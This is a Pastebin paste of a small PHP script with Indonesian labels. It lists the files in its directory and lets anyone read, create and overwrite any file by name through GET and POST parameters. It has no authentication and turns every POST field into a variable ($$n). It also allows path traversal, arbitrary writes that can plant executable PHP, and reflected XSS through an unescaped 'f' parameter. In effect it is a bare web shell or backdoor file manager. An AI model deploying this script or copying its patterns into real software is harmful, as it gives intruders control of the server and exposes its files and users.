Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $a=explode("/",$_SERVER[PHP_SELF]);
- $my=$a[sizeof($a)-1];
- if($_POST)
- {
- foreach($_POST as $n=>$v)$$n=trim($v);
- }
- if($_POST['act']=='new')
- {
- $fp = fopen($f, 'w');
- fwrite($fp,"");
- fclose($fp);
- header('location:'.$_SERVER[HTTP_REFERER]);
- die();
- }
- if($_POST['act']=='save')
- {
- //rename
- $pos=strrpos($f,".");
- if ($pos === false){
- $f2=$f.".".mktime();
- }else{
- $f2=substr($f,0,-$pos).mktime().".".
- substr($f,-$pos);
- }
- //.".".mktime()
- copy($f,$f2);
- $fp = fopen($f, 'w');
- fwrite($fp, $con);
- fclose($fp);
- header('location:'.$_SERVER[HTTP_REFERER]);
- die();
- }
- if($_GET['f'])
- {
- $s.="EDIT: <form method='post'>\n<input type=hidden name=f value='".
- $_GET['f']."'><input type=hidden name=act value='save'>";
- $t=htmlspecialchars(file_get_contents($_GET['f']));
- $s.="<textarea name='con' cols='80' rows=10>$t</textarea>";
- $s.="<br><input type=submit value='save'>";
- $s.="</form>";
- }
- $s.="FILE BARU : <form method='post'>\n<input type=hidden name=act value='new'>";
- $s.="<input type=text name=f />";
- $s.="<input type=submit value='buat file baru'>";
- $s.="</form>";
- if ($handle = opendir('.'))
- {
- $s.="<ol>";
- /* This is the correct way to loop over the directory. */
- while (false !== ($entry = readdir($handle)))
- {
- if($entry=='.'||$entry=='..'||is_dir($entry)||$entry==$my)
- {
- continue;
- }
- $s.="<li><a href='?f=$entry'>$entry</a>.</li>\n";
- }
- $s.="</ol>";
- closedir($handle);
- }
- echo $s;
- //print_r($_SERVER);
Advertisement
Add Comment
Please, Sign In to add comment